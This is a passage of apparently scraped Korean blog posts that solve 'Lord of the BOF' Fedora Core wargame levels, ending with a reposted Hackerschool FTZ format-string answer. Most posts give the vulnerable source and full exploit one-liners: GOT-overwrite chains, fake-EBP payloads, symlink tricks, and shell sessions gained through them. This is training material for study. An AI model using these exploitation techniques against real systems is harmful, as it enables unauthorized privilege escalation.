setreuid(501,501);  //501은 cruel uid,gid
system("/bin/sh");
}
========================================================

[dark_stone@Fedora_2ndFloor ~]$ ln -s getsh "`python -c 'print "\x3c\xad\x8c"'`"



[dark_stone@Fedora_2ndFloor ~]$ ./cruel `python -c 'print "A"*260+"\x51\x84\x04\x08"*7+"\x68\x2d\x83"'`

AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh- 

sh-3.00$ id

uid=501(cruel) gid=500(dark_stone) groups=500(dark_stone) context=user_u:system_r:unconfined_t

sh-3.00$ my-pass

euid = 501

come on, come over

sh-3.00$ 



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] enigma -> titan  (0) 2015.12.01
[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22

1. SSP(Stack Smashing Protector)

__stack_chk_fail


2. NX

readelf -l ./vul

실행권한 확인



3. Dummy

gcc -v

2.96 이상부터 더미존재


4. Random Stack

cat /proc/sys/kernel/exex-shield-randomize

1 - O

2 - X


5.Random Library

cat /proc/self/maps


6. ASCII Armor

cat /proc/self/maps


'System Hacking > 정리' 카테고리의 다른 글

IDA 리모트 디버깅 설정  (0) 2015.11.11
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

/*

The Lord of the BOF : The Fellowship of the BOF 

- dark_stone

- Remote BOF on Fedora Core 3 

- hint : GOT overwriting again

- port : TCP 8888

*/


#include <stdio.h>


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main()

{

char buffer[256];

char saved_sfp[4];

int length; 

char temp[1024];


printf("dark_stone : how fresh meat you are!\n");

printf("you : ");

fflush(stdout);


// give me a food

fgets(temp, 1024, stdin);


// for disturbance RET sleding

length = strlen(temp);

   

// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, temp);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


// buffer cleaning 

memset(0xf6ffe000, 0, 0xf7000000-0xf6ffe000);


printf("%s\n", buffer);

}


fgets 함수를 이용하여 temp에 입력하고 strcpy로 temp에 내용을 buffer에 복사한다.
그 후 sfp값을 복원하고, ret sled를 막기 위해 buffer+length ~ ff000000까지 클리어시킨다.

더 추가 된 부분은 fgets함수가 사용하는 임시버퍼영역(0xf6ffe000)을 클리어시켰다.


전에 풀었던 것과 비슷하게 아니 거의 똑같은거 같다.. 
pop_pop_ret의 특징을 이용해 strcpy를 연속적으로 사용함으로써 printf@got를 system@got로 overwriting 시키고
printf@plt 를 ret영역에 덮어씌워서 결국 system("/bin/sh")이 실행되게 하면 될 것 같다.


자세한 과정은 이전에 풀은 문제에 있기 때문에 간단하게만 쓰겠습니다.



필요한 주소

.bss : 0x08049868

system: 0x7507c0

c0 : 0x80483f4

07 : 0x8048364

75 : 0x80482b4

00 : 0x8048274


strcpy@plt : 0x08048438

printf@plt : 0x08048408

printf@got : 0x0804984c

ppr : 0x80484f3

/bin/sh : 0x833603





payload 구성

python -c 'print "A"*264+"BBBB"+"strcpy@plt"+"ppr주소"+".bss+0주소"+"system@got+0"+

"strcpy@plt"+"ppr주소"+".bss+1주소"+"system@got+1"+

"strcpy@plt"+"ppr주소"+".bss+2주소"+"system@got+2"+

"strcpy@plt"+"ppr주소"+".bss+3주소"+"system@got+3"+

"strcpy@plt"+"ppr주소"+"printf@got"+".bss+0주소"+

"printf@plt"+"BBBB"+"/bin/sh주소"



(python -c 'print "A"*264+"BBBB"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x68\x98\x04\x08"+"\xf4\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x69\x98\x04\x08"+"\x64\x83\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6a\x98\x04\x08"+"\xb4\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x6b\x98\x04\x08"+"\x74\x82\x04\x08"+"\x38\x84\x04\x08"+"\xf3\x84\x04\x08"+"\x4c\x98\x04\x08"+"\x68\x98\x04\x08"+"\x08\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"';cat) | ./dark_stone







끝!



redhat lob에 비해 방어기법이 추가되어서 확실히 여러가지 어려운 부분도 있었고,

얻은 것도 많았던 것 같다. 




비밀번호



'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] cruel -> enigma  (0) 2015.11.29
[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

/*

The Lord of the BOF : The Fellowship of the BOF 

- evil_wizard

- Local BOF on Fedora Core 3 

- hint : GOT overwriting

*/


// magic potion for you

void pop_pop_ret(void)

{

asm("pop %eax");

asm("pop %eax");

asm("ret");

}

 

int main(int argc, char *argv[])

{

char buffer[256];

char saved_sfp[4];

int length; 


if(argc < 2){

printf("argv error\n");

exit(0);

}


// for disturbance RET sleding

length = strlen(argv[1]);

   

        // healing potion for you

        setreuid(geteuid(), geteuid());

        setregid(getegid(), getegid());


// save sfp 

memcpy(saved_sfp, buffer+264, 4);

 

// overflow!!

strcpy(buffer, argv[1]);


// restore sfp 

memcpy(buffer+264, saved_sfp, 4);


        // disturbance RET sleding

        memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length));


printf("%s\n", buffer);

}



보면 입력값(argv[1])를 buffer에 strcpy함수를 이용하여 복사를 한다.
그 후 sfp를 복원해주고, buffer 주소 ~ buffer + length를 제외한 높은주소 부분을 0으로 클리어 한다.
이 부분으로 인해 ret sled를 막고자 한 것 같다.



힌트에서도 써있듯 GOT overwriting기법을 이용하면 될 것 같다.


소스코드를 보면 pop_pop_ret함수가 있는 것으로 보아 연속해서 함수 호출이 가능할 것 같다.
| buf | SFP | RET | &pop_pop_ret | 인자1 | 인자2 | RET` | &pop_pop_ret | 인자`1 | 인자`2 ... 

이런식의 연속해서 함수 호출을 말하는 것이다.



그러면 strcpy함수를 이용하여 printf@got 값을 system함수의 got로 변경시켜주고, /bin/sh을 실행시키면 쉘을 딸 수 있을 것 같다.


./evil_wizard `python -c 'print "A"*264+"BBBB"+ strcpy@plt + &ppr + "print@got[0]" + "system@got[0]"+

strcpy@plt + &ppr + "print@got[1]" + "system@got[1]"+

strcpy@plt + &ppr + "print@got[2]" + "system@got[2]"+

strcpy@plt + &ppr + "print@got[3]" + "system@got[3]" +

printf@plt + BBBB + /bin/sh주소




strcpy@plt 주소 : 0x8048494

ppr 주소 : 0x0804854f

print@got[0]주소 : 0x8049884, 0x8049885, 0x8049886, 0x8049887

system주소  : 0x7507c0

printf@plt : 0x08048424

c0 : 0x8048420

07 : 0x8048378

75 : 0x80482c8

00 : 0x80482f8

/bin/sh 0x833603

저기 system@got의 1바이트 주소들은 다음과 같이 구하면 된다.



c0 : 0x8048420



07 : 0x8048378



75 : 0x80482c8



00 : 0x80482f8



./evil_wizard "`python -c 'print "A"*264+"BBBB"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x84\x98\x04\x08"+"\x20\x84\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x85\x98\x04\x08"+"\x78\x83\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x86\x98\x04\x08"+"\xc8\x82\x04\x08"+"\x94\x84\x04\x08"+"\x4f\x85\x04\x08"+"\x87\x98\x04\x08"+"\xf8\x82\x04\x08"+"\x24\x84\x04\x08"+"BBBB"+"\x03\x36\x83\x00"'`"








'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

 



리모트 BOF이고, fgets로 입력받은 값을 temp에 저장하고, 그 값을 buffer에 strcpy하여 복사해준다.
그 후 sfp를 복원시켜줌.


전에 풀었던 문제와 리모트 빼고 다른게 없는 것 같아서 ret sled를 이용하여 공격해보았다.

| buf[264] | sfp[4] | &ret[4] * 3 | &execl | 
(그리고 미리 execl함수에 의해 실행되는 파일을 심볼릭 링크해야함.. 이부분은 생략.)

nc localhost 7777 로 해보았지만 별다른 반응이 없어서 hell_fire로 시도해 보았더니,
쉘은 따졌지만 권한상승은 안됨.. 왜그런지 잘모르겠다..

 

 

다른 방법으로 찾아서 해봐야겠다..

 

system함수 내부를 살펴보면 do_system함수를 호출한다.
또 do_system함수의 내부 코드를 보면 execve("/bin/sh", "sh –c 인자", 환경변수); 이렇게 수행된다.
이처럼 do_system함수도 명령어 실행을 위해 execve 함수를 호출하여 명령을 수행하는 것을 확인할 수 있다.

 

이러한 이유 때문에 system함수를 이용하여 "/bin/sh"의 주소를 찾을 수 있다.
-------------------------------------------------------

#include<stdio.h>
#include<string.h>

int main()
{

long shell=0x4203f2c0; // ex) system()주소

while(memcmp((void*)shell, "/bin/sh", 8)) shell++;

printf("%p \n", shell);

}

-------------------------------------------------------

 

아무튼 ret영역을 &(do_system+1124)로 덮어씌우면 된다.

 

 

 




다른 문제풀이로 풀어보겠습니다.

fgets함수는 임시버퍼를 사용하는 함수로써 그 부분을 이용하여 공격하겠습니다.
우선 자고 내일 쓰겠음..


| buf[264] | sfp | &mprotect | &shellcode | 인자 1 | 인자 2 | 인자 3 | nop + shellcode | 

이런식의 공격이 안되는 이유는 mprotect함수의 주소는 아스키아머로 인해 1바이트가 \x00인 주소를 갖는다.
그래서 strcpy함수의 특성으로 인해 ret영역 이후의 값들이 buffer에 제대로 복사되지 않는다.


 

[strcpy 특성]

strcpy 는 문자열 복사를 위한 함수로서 길이를 지정안하는 대신 source 문자열이 반드시 '\0' 으로 끝나야합니다.
source 에서 '\0'을 만나면 복사를 종료합니다('\0' 까지 복사됩니다)         



그러면 어떻게 해야할까??

fgets함수가 임시버퍼를 사용한다고 했으니까 거기는 mprotect의 주소에 \x00이 있건 말건 입력해준 모든 값들이 고스란히 있을 것이다.
buffer를 이용한 공격은 strcpy함수의 특성상 buffer에 제대로 복사가 되지 않으니까 갖다 버리고, fgets의 임시버퍼영역을 통해 공격해보겠습니다.
fake ebp를 이용하여 그 영역으로 완전 옮겨가버리면 된다.

우선 임시버퍼영역의 주소가 어디인지 확인해보자

보시면 0xf6ffe000 ~ f6fff000 까지 임시버퍼영역의 고정된 주소로 지정되어있다.



*TIP : gdb를 통해 제대로 들어갔는지 확인

(python -c 'print "A"*264+"BBBB"+"\x43\x43\x00\x43"+"CCCC"';cat) | (python -c 'print "r"';cat) | (python -c 'print "b* main+221"';cat) | gdb -q ./hell_fir3

이처럼 임시버퍼영역에서는 주소에 널바이트가 오더라도 입력해준 값 그대로를 고스란히 담고 있기 때문에 이곳으로 ebp,esp를
옮겨버려서 공격하면 된다.(buffer영역에 안되는 이유는 아까도 말했듯이 strcpy를 하게 되면 널바이트까지만 복사가 이뤄짐..)


임시버퍼영역으로 ebp,esp를 옮기려면 fake ebp 기법을 이용하여 옮길 수 있다.
랜덤스택이라고 해도 상대적인 ebp의 거리는 항상 같다.
예를 들어 설명하자면 메인함수에서 ebp의 위치와 함수호출로 인해 새로 지정된 ebp의 위치의 거리는 같다는 말이다.

이러한 점을 알기 때문에 main함수에서 leave명령이 수행되고 ebp가 가리키는 곳의 위치를 쉽게 구할 수 있다.
(그 거리는 88bytes만큼 차이남)
그럼 main함수에서 leave명령을 수행한 다음 ebp가 가리키는 곳의 값을 0xf6ffe16c로 바꾸고, main함수의 ret영역에 &leaveret으로
덮어씌워주게 되면 아래와 같이 수행된다.(여기서 0xf6ffe16c의 주소는 임시버퍼영역에 해당하는 주소)

0xf6ffe000(임시버퍼시작주소) + 16c(264 + 4 + 4 + 88 + 4) = 0xf6ffe16c

                  (  buf[264] + SFP[4] + &leaveret[4] + A*88[88] + 0xf6ffe16c[4]  )


| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

           ebp           

<- 낮은 주소                                                                                                                                  높은 주소 ->




| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                  esp                 ebp

<- 낮은 주소                                                                                                                                  높은 주소 ->

main 함수에서 leave 명령이 수행 된 모습
ret 명령이 수행되면 아래와 같이 된다.



아래는 버퍼영역이다. strcpy함수로 &mprotect함수 주소 이후는 제대로 복사는 안되겠지만...

| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                     esp                  

<- 낮은 주소                                                                                                                                  높은 주소 ->

ret 명령을 수행하면 아래 노랑 네모박스의 모습이 된다.



| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                     ebp(0xf6ffe16c)

<- 낮은 주소                                                                                                                                  높은 주소 ->

위는 임시버퍼영역의 구조이다. ebp가 임시버퍼 영역을 가리킨다.




| buf[264] | SFP | &leaveret | A*88 | 0xf6ffe16c | &leaveret | &mprotect | &shellcode | parameter1 | parameter2 | parameter3 | nop+shellcode |

                                                                   esp

<- 낮은 주소                                                                                                                                  높은 주소 ->

ebp는 어딘가 가리키고 ret명령에 의해 mprotect함수가 수행될 것이다.


payload



아 솔직히 이거 설명하기가 너무힘들다... 차라리 페이로드보고 짜맞추면서 보시면 편하실듯.. 설명포기 ㅠㅠ




'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20
[Fedora3] gate -> iron_golem  (0) 2015.11.19

 



저번 문제와는 달리 fake ebp와 같은 공격을 막기 위해 strcpy를 수행한 후 sfp를 다시 복원시켜주는
프로그램입니다.

[아래 그림과 같이 참조]
그래서 생각한 것이 ret영역을 코드영역에 있는 leave 명령어의 주소로 넣어서 풀면 될 것 같은 느낌이 들어서 봤더니
sfp가 랜덤스택이기 때문에 무작위로 바뀌게 됩니다.
그래서 전에 풀었던 문제처럼 ret영역 이후 부분을 [got영역의주소-8]와 [execl+3]의 주소를 쌍으로 엄청 많이 집어넣고
while문으로 반복실행시키면 언젠간 맨 처음에 스택에 껴있는 sfp가 [got영역의 주소-8]값과 일치하게 되지 않을까 하고 생각했지만
execl의 주소는 아스키아머가 걸려있기 때문에 못하게 된다…

 

 

어쩌다 발견했는데 restore된 sfp값은 buf의 시작주소와 항상 360차이가 난다.
즉 buf의 시작주소가 0xfef88bb0이면 sfp는 0xfef88d18이라서 두 값의 차는360이 된다.

 

이 점을 힌트로 하여 payload를 작성하면
buf[264] + 더미값(sfp) + &leave + "A"*88 + &(got-8) + &(execl+3)
(여기서 "A"*88을 하는 이유는 buf의 시작주소와 sfp의 차이는 360이기 때문에 그 차이를 맞춰주기 위해서.)


./dark_eyes `python -c 'print "A"*264+"BBBB"+"\xb8\x84\x04\x08"+"A"*88+"\x88\x96\x04\x08"+"\x23\x57\x7a"'`

그리고 실행될 파일명을 심볼릭 링크해야함. 그 부분은 전에 풀었던거 ㄱㄱ

'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] gate -> iron_golem  (0) 2015.11.19

 

 

[페도라3의 환경]

 

 


스택 영역을 보면 실행권한이 없습니다.
페도라3 환경처럼 스택에 쉘코드를 올리고 실행시키는 공격은 통하지 않습니다.
그렇다면 음… rtl 나 하면되려나?

 

우선 리턴 주소가 어디인지 확인하겠습니다.



보시면 264bytes 만큼 버퍼 공간을 확보하였습니다.
이는 8bytes 더미가 껴있기 때문입니다.

 

 

대충 리턴주소의 위치를 알아냈습니다.

 

r `python –c 'print "A"*268 + [system함수 주소] + [더미4bytes] + [/bin/sh]


system함수의 주소를 구하겠습니다.

그 다음은 /bin/sh의 주소를 구하겠습니다.

 

r `python –c 'print "A"*268 + \xc0\x07\x75\x00+ "AAAA" + "\x03\x36\x83\x00"'`

음.. 리턴영역에는 00은 아예 쓰여지질 않네요. 즉, 3바이트(\xc0\x07\x75)쓰이고 1바이트는 \x41로 채워져서 다른공격을
생각해봐야겠습니다. 문제 힌트로 fake ebp인데 나와있는거 말고 다른거로 풀고싶은데..음

 

일단 내일 발표준비해야하니까… fake ebp로 풀어봐야겠습니다.

예전에 fake ebp 문제 풀었던 적이 있었는데 그때는 buffer주소로 ebp를 바꿔서 쉘코드를 실행하게 하는 문제였었는데
자꾸 그 문제에 대한 고정관념 때문에 결국 답 봤음..

 


대충 간단히 설명하자면, 함수가 호출될 때 호출 된 함수는 ebp를 기준으로 인자를 참조합니다. (ebp+8, ebp+c 이런식으로)
여기에다가 ret영역을 execl함수의 주소로 덮어씌우는데, 조건이 하나 있습니다..
어떤 조건인가 하면 지금 공격할 방법이 fake ebp이기 때문에 ebp가 변경되지 않는 선에서 ret영역을 덮어 씌워줘야합니다.
무슨 말인가 하면, 함수가 호출되면 프롤로그를 수행합니다.(push ebp, mov ebp esp)
이러한 프롤로그 동작들은 ebp값을 변경시키기 때문에 프롤로그가 끝나는 주소를 ret영역에 덮어씌워줘야 합니다.
그리고 sfp를 변경시켜줄 것인데, 현재 랜덤스택이기 때문에 고정된 값을 지닌 곳을 ebp로 변경시켜 주어야합니다.
그 부분은 got영역으로 할 것인데 한번 살펴보도록 하겠습니다.

 


0x08049618이 got 영역이다.

 

이 정도만 살펴보고 다음으로 execl함수에 대해 알아볼 것인데, 이 함수는
execl(실행파일, argv,…,NULL); 이런식으로 인자 마지막에 NULL이 와야함.
이 함수도 ebp+8로 첫번째 인자를 참조하고 ebp+c, ebp+10… 이런식으로 인자를 참조합니다.

그러면 sfp를 got영역의 임의의 주소로 변경하게 되면 위와 같은 방식에 의해 첫번째 인자는
ebp+8을 참조하게 됩니다. 그러면서 마지막 인자가 NULL이 오는 조건을 만족시키는 주소를 지정하게 된다면..
음.. 그림을 보면서 하도록 하겠습니다.


sfp를 0x08049610으로 덮어씌우면 함수가 종료될 때 leave명령어에 의해 ebp값이 0x08049610으로 이동한다.
그 후 ret영역에 execl+3주소로 점프를 하게 되고, execl함수는 인자를 참조하기위해 ebp+8,ebp+c….을 하게 된다.
그러면 첫번째 인자인 실행파일은 어떤 값이 있을지 살펴보도록 하겠습니다.

 


"\001"이라는 실행파일명이 되겠습니다. 그러면 execl함수에 의해 "\001"을 실행시켰을 때 

쉘이 따지면 되겠습니다.
그렇게 하려면 심볼릭 링크를 통해서 해결하면 되겠습니다.





아참 execl함수 주소는 gdb에서 print execl 하면 됩니다.
안될 경우는 bp걸고 실행 고고~~

blood on the fedora


끝!

자면서 써서 횡설수설합니다ㅋㅋ

'System Hacking > LOB_fedora' 카테고리의 다른 글

[Fedora4] dark_stone -> cruel  (0) 2015.11.28
[Fedora3] evil_wizard -> dark_stone  (0) 2015.11.25
[Fedora3] hell_fire -> evil_wizard  (0) 2015.11.23
[Fedora3] dark_eyes -> hell_fire  (0) 2015.11.22
[Fedora3] iron_golem -> dark_eyes  (0) 2015.11.20

출처

http://blog.jump2root.com/95




윈도우에서 ELF 바이너리를 실행할 수 없어 동적인 분석은 할 수 없고 리눅스에서는 GDB를 이용해도 되지만 cui에서는 다양한 정보를 보기 어렵고 또한 복잡하다. 하지만 IDA에서는 라이브 원격을 통해 이 문제를 어느정도 해결할 수 있다.


<그림1 원격 디버깅을 위한 서버 파일>


먼저 IDA가 설치된 폴더에가면 'dbgsrv' 폴더가 있다. 이곳에는 원격 디버깅을 위한 서버 파일이 제공되는데 파일이름을 보면 알다시피 여러 환경에 사용할 수 있도록 제공된다.



<그림2 원격 서버 파일 실행>


서버는 x64 우분투를 사용며 64bit ELF파일을 디버깅하기 위해 linux_serverx64 파일를 사용하겠다. 이 파일을 서버에 움긴 뒤 실행하면 위와 같은 화면을 볼 수 있다. 기본 포트는 23946이며 포트 설정을 하고 싶다면 -p 옵션을 이용하면 된다. (단, 붙혀서 작성(ex: -p5555))


<그림3 IDA 내 리눅스 원격 디버깅>


이렇게 서버에서 사용할 준비가 되었다면 IDA를 실행한 뒤 Debugger - Run - Remote Linux debugger 를 선택하고 설정창이 뜨면 다음과 같이 입력하면 된다.


<그림4 원격 디버깅 정보>


여기서 주의할 점은 linux_serverx64 를 실행한 디렉토리를 기준으로 해야한다는것이다. 위에서 보이듯(그림2 참고) 작성자는 imgomi 디렉토리 내에서 linux_serverx64를 실행 하였기 때문에 Application과 Directory를 작성할 때 imgomi 디렉토리를 기준으로 작성하여야 한다.

'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
소멸자(.dtors) +4 하는 이유  (0) 2015.11.10
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_level&page=1&sn1=on&divpage=1&sn=on&ss=off&sc=off&keyword=randomkid&select_arrange=headnum&desc=asc&no=2575



질문1. 모든 실행 프로그램안에는 __do_global_dtors()라는 함수가 있습니다.

이 함수는 소멸자로서 dtors섹션+4 번째 있는 메모리주소에 0이 아닌값이 있을 경우 함수로 실행을 시킵니다. 

프로그램 자체에서 소멸자함수를 호출하지 않을 경우 dtros + 4번째 메모리값은 0이 기본으로 되어있습니다.

FSB로 dtors+4번째 있는 값을 쉘코드 주소로 바꿀경우 실행이 되는 이유가 이것때문입니다.


직접 눈으로 보고 싶으실 경우 

아무 실행 파일이나 gdb로 실행한 후

disas __do_global_dtors 라고 쳐보시면 아실겁니다. ^^



'System Hacking > 정리' 카테고리의 다른 글

리눅스 보호 기법 확인  (0) 2015.11.25
IDA 리모트 디버깅 설정  (0) 2015.11.11
FSB 소멸자 주소가 아닌 ret주소를 이용한 공격  (0) 2015.11.10
/proc/pid/maps  (0) 2015.11.09
; cat 을 쓰는 이유  (0) 2015.11.03




shell상태와 gdb 상태에서의 ret 주소는 다릅니다.

하지만 스택상의 배치구조는 상대적으로 같습니다.

이 원리를 이용하는 겁니다.

커널 2.4이므로 환경변수의 쉘코드가 실행이 가능합니다.

먼저 eggshell을 띄웁니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

다음 gdb상태에서 ret주소를 알아보겠습니다.

[level20@ftz tmp]$ gdb -q ../attackme
(gdb) disas main
Dump of assembler code for function main:
0x080483b8 <main+0>:    push   %ebp
0x080483b9 <main+1>:    mov    %esp,%ebp
0x080483bb <main+3>:    sub    $0x58,%esp
0x080483be <main+6>:    and    $0xfffffff0,%esp
0x080483c1 <main+9>:    mov    $0x0,%eax
0x080483c6 <main+14>:   sub    %eax,%esp
0x080483c8 <main+16>:   sub    $0x8,%esp
0x080483cb <main+19>:   push   $0xc1d
0x080483d0 <main+24>:   push   $0xc1d
0x080483d5 <main+29>:   call   0x80482f8 <setreuid>
0x080483da <main+34>:   add    $0x10,%esp
0x080483dd <main+37>:   sub    $0x4,%esp
0x080483e0 <main+40>:   pushl  0x80495c0
0x080483e6 <main+46>:   push   $0x4f
0x080483e8 <main+48>:   lea    0xffffffa8(%ebp),%eax
0x080483eb <main+51>:   push   %eax
0x080483ec <main+52>:   call   0x80482c8 <fgets>
0x080483f1 <main+57>:   add    $0x10,%esp
0x080483f4 <main+60>:   sub    $0xc,%esp
0x080483f7 <main+63>:   lea    0xffffffa8(%ebp),%eax
0x080483fa <main+66>:   push   %eax
0x080483fb <main+67>:   call   0x80482e8 <printf>
0x08048400 <main+72>:   add    $0x10,%esp
0x08048403 <main+75>:   leave
0x08048404 <main+76>:   ret
0x08048405 <main+77>:   nop
0x08048406 <main+78>:   nop
0x08048407 <main+79>:   nop
End of assembler dump.
(gdb) b *main+1
Breakpoint 1 at 0x80483b9
(gdb) r
Starting program: /home/level20/attackme

Breakpoint 1, 0x080483b9 in main ()
(gdb) x/x $esp
0xbffff1e8:     0xbffff208 <--- 이전 ebp 주소
(gdb)
0xbffff1ec:     0x40038917 <--- ret
(gdb)

ret 주소는 0xbffff1ec이고 이전 ebp주소는 0xbffff208입니다.

이 둘의 차이값은 항상 일정합니다.

차이값을 구하면 0xbffff208 - 0xbffff1ec = 0x1c

이 차이값을 잘 기억하시기 바랍니다.

그 다음 쉘 상태에서 이전 ebp주소를 구해보겠습니다.

[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffff234bffff1e88048412401591c040015360bffff208400389171 <--- ret 주소.
[level20@ftz tmp]$

포멧스트링 버그를 통해서 이전 ebp주소가 노출되었죠?

보시면 이전 ebp주소는 0xbffff208로 gdb와 같은 주소를 갖고 있습니다.

그럼 당연히 ret주소도 같습니다.

하지만 egg쉘을 취소한 후 다시 확인을 해보면...

[level20@ftz tmp]$ exit
exit
[level20@ftz tmp]$ ../attackme
%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x%x
4f401574604009d5007825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825782578257825bfff000a80482b54000c660bffffb24bffffad88048412401591c040015360bffffaf8400389171 <--- 이전 ebp주소가 다름!!!

이전 ebp주소가 0xbffffaf8로써 다름을 알수 있습니다.

이런 현상이 발생하는 이유는 egg쉘에서 수행하는 환경변수 등록때문입니다.

모든 환경변수는 스택상에 배치되는데 egg쉘의 경우 NOP코드를 비정상적으로 크게 넣습니다.

커널 2.4에서 환경변수의 크기가 비정상적으로 클 경우 스택구조가 gdb와 shell과 같아 지는 현상이 발생합니다.

가끔 egg쉘을 띄웠는데도 불구하고 ret주소가 다른 경우도 있는데 그 경우는 

환경변수의 내용을 수정했거나 argv영역의 값이 다를경우 발생합니다.

하지만 다르다고 할지라도 아까 구한 gdb에서의 이전 ebp - ret주소 차이값을 

구한 다음 shell에서 이전 ebp값을 알수 있으면 손쉽게 ret주소를 알수있습니다.

다시 egg쉘을 실행한 후 ret주소를 변경하여 쉘을 실행해 보겠습니다.

[level20@ftz tmp]$ ./egg
Using address: 0xbffffab8
[level20@ftz tmp]$

쉘에서의 ret주소는 0xbffff1ec입니다.

[level20@ftz tmp]$ (python -c 'print "\xee\xf1\xff\xbf"+"\xec\xf1\xff\xbf"+"%49143x%4$hn"+"%15033x%5$hn"';cat) | ../attackme 

...

                                                   40157460
id
uid=3101(clear) gid=3100(level20) groups=3100(level20)
my-pass
TERM environment variable not set.

clear Password is "**********************".
웹에서 등록하세요.

* 해커스쿨의 모든 레벨을 통과하신 것을 축하드립니다.
당신의 끈질긴 열정과 능숙한 솜씨에 찬사를 보냅니다.
해커스쿨에서는 실력있는 분들을 모아 연구소라는 그룹을 운영하고 있습니다.
이 메시지를 보시는 분들 중에 연구소에 관심있으신 분은 자유로운 양식의
가입 신청서를 admin@hackerschool.org로 보내주시기 바랍니다.

Clear의 권한을 획득했습니다.

--------------------------------------------------------------------------

커널 2.4는 스택의 주소가 고정적이기 때문에 스택상에 있는 주소값과 상대적인 

차이를 이용하면 얼마든지 가능합니다.

위에서 보여준 예는 main()의 리턴어드레스변조지만 포멧스트링이 일어나는 

printf의 리턴어드레스도 변조가 가능합니다.

이전 글에서 질문하신 답변을 더해드리겠습니다.

질문 : 추가로 하나만 더 질문 드릴게요..// 그렇다면, sh-3.2# 이런식으로 쉘이 뜨는건, 자식프로세스로 쉘이뜨는게 아니라, 독립된 프로세스로 쉘이 뜬다는 말씀이신건가요??

자식프로세스라는 말에 중점을 두고 읽으신것 같습니다. ^^;;

표준 입력을 요구하는 프로그램을 공격해야할 경우 파이프를 통해서 

원하는 코드를 넣어야 합니다.

다음과 같이 입력을 할 경우

printf "..." | ./vul

먼저 printf가 실행이 되고 출력되는 값을 잠시 저장하고 있습니다.

이 상태에서 vul이 실행이 됩니다.

vul에서 표준 입력을 요구할때 그때서야 printf의 출력 코드를 입력으로 넣게되고

printf는 종료가 됩니다.

이렇게 되면 다음과 같이 됩니다.

... | ./vul

